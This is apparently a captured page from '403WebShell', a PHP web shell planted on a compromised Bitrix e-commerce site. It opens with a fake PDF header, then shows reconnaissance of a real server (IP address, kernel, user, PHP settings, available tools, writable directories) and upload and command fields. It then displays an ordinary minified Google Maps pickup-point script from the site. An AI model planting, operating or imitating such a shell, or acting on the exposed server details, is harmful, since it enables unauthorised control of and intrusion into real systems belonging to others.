%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.131.38.104
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/sale.order.ajax/bitrixsoid_small/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/sale.order.ajax/bitrixsoid_small/scripts/google_maps.min.js
BX.namespace("BX.Sale.OrderAjaxComponent.Maps"),function(){"use strict";BX.Sale.OrderAjaxComponent.Maps={init:function(t){return this.context=t||{},this.pickUpOptions=this.context.options.pickUpMap,this.propsOptions=this.context.options.propertyMap,this.maxWaitTimeExpired=!1,this.scheme=this.context.isHttps?"https":"http",this.icons={red:this.scheme+"://maps.google.com/mapfiles/ms/icons/red-dot.png",green:this.scheme+"://maps.google.com/mapfiles/ms/icons/green-dot.png"},this},initializePickUpMap:function(t){if(google){this.markers=[],this.bounds=new google.maps.LatLngBounds;var e=t?parseFloat(BX.util.trim(t.GPS_N)):this.pickUpOptions.defaultMapPosition.lat,s=t?parseFloat(BX.util.trim(t.GPS_S)):this.pickUpOptions.defaultMapPosition.lon;this.pickUpMap=new google.maps.Map(BX("pickUpMap"),{center:{lat:e,lng:s},zoom:this.pickUpOptions.defaultMapPosition.zoom,scrollwheel:!1}),google.maps.event.addListener(this.pickUpMap,"click",BX.proxy(this.closeAllBalloons,this))}},canUseRecommendList:function(){return!1},getRecommendedStoreIds:function(t,e){return[]},getDistance:function(t,e){return!1},pickUpMapFocusWaiter:function(){this.pickUpMap&&this.markers.length?this.setPickUpMapFocus():setTimeout(BX.proxy(this.pickUpMapFocusWaiter,this),100)},setPickUpMapFocus:function(){google.maps.event.trigger(this.pickUpMap,"resize"),this.pickUpMap.fitBounds(this.bounds)},showNearestPickups:function(t,e){t(!1)},buildBalloons:function(t){if(google){var e,s,i=this;for(e=0;e<t.length;e++)(s=new google.maps.Marker({position:{lat:parseFloat(t[e].GPS_N),lng:parseFloat(t[e].GPS_S)},map:this.pickUpMap,title:t[e].TITLE})).info=new google.maps.InfoWindow({content:"<h3>"+BX.util.htmlspecialchars(t[e].TITLE)+"</h3>"+this.getStoreInfoHtml(t[e])+'<br /><a class="btn btn-sm btn-default" data-store="'+t[e].ID+'">'+this.context.params.MESS_SELECT_PICKUP+"</a>"}),s.storeId=t[e].ID,google.maps.event.addListener(s.info,"domready",function(){var t=document.querySelector("a[data-store]");t&&BX.bind(t,"click",BX.proxy(i.selectStoreByClick,i))}),google.maps.event.addListener(s,"click",function(){i.closeAllBalloons(),this.info.open(this.getMap(),this)}),BX("BUYER_STORE").value===t[e].ID?s.setIcon(this.icons.green):s.setIcon(this.icons.red),this.markers.push(s),this.bounds.extend(s.getPosition())}},selectStoreByClick:function(t){var e=t.target||t.srcElement;this.context.selectStore(e.getAttribute("data-store")),this.context.clickNextAction(t),this.closeAllBalloons()},closeAllBalloons:function(){for(var t=0;t<this.markers.length;t++)this.markers[t].info.close()},selectBalloon:function(t){if(this.pickUpMap&&this.markers&&this.markers.length)for(var e=0;e<this.markers.length;e++)this.markers[e].storeId===t?(this.markers[e].setIcon(this.icons.green),this.pickUpMap.panTo(this.markers[e].getPosition())):this.markers[e].setIcon(this.icons.red)},pickUpFinalAction:function(){},initializePropsMap:function(t){google&&(this.propsMap=new google.maps.Map(BX("propsMap"),{center:{lat:t.lat,lng:t.lon},zoom:t.zoom,scrollwheel:!1}),this.currentPropsMapCenter=this.propsMap.getCenter(),google.maps.event.addListener(this.propsMap,"click",BX.delegate(function(t){this.propsMarker?this.propsMarker.setPosition(t.latLng):(this.propsMarker=new google.maps.Marker({position:t.latLng,map:this.propsMap,draggable:!0}),this.propsMarker.addListener("drag",BX.proxy(this.onPropsMarkerChanged,this)),this.propsMarker.addListener("dragend",BX.proxy(this.onPropsMarkerChanged,this))),this.currentPropsMapCenter=t.latLng,this.onPropsMarkerChanged({latLng:t.latLng})},this)))},onPropsMarkerChanged:function(t){var e,s,i,o,n=BX("orderDescription",!0),a=t.latLng.lat(),r=t.latLng.lng();n&&(-1===(e=n.value.indexOf(BX.message("SOA_MAP_COORDS")+":"))?n.value=BX.message("SOA_MAP_COORDS")+": "+a+", "+r+"\r\n"+n.value:(o=BX.message("SOA_MAP_COORDS")+": "+a+", "+r,s=n.value.substring(0,e),i=n.value.substring(e+o.length),n.value=s+o+i))},propsMapFocusWaiter:function(){this.propsMap?this.setPropsMapFocus():setTimeout(BX.proxy(this.propsMapFocusWaiter,this),100)},setPropsMapFocus:function(){google.maps.event.trigger(this.propsMap,"resize"),this.propsMap.setCenter(this.currentPropsMapCenter)},getStoreInfoHtml:function(t){var e="";return t.ADDRESS&&(e+=BX.message("SOA_PICKUP_ADDRESS")+": "+BX.util.htmlspecialchars(t.ADDRESS)+"<br />"),t.PHONE&&(e+=BX.message("SOA_PICKUP_PHONE")+": "+BX.util.htmlspecialchars(t.PHONE)+"<br />"),t.SCHEDULE&&(e+=BX.message("SOA_PICKUP_WORK")+": "+BX.util.htmlspecialchars(t.SCHEDULE)+"<br />"),t.DESCRIPTION&&(e+=BX.message("SOA_PICKUP_DESC")+": "+BX.util.htmlspecialchars(t.DESCRIPTION)+"<br />"),e}}}();

Youez - 2016 - github.com/yon3zu
LinuXploit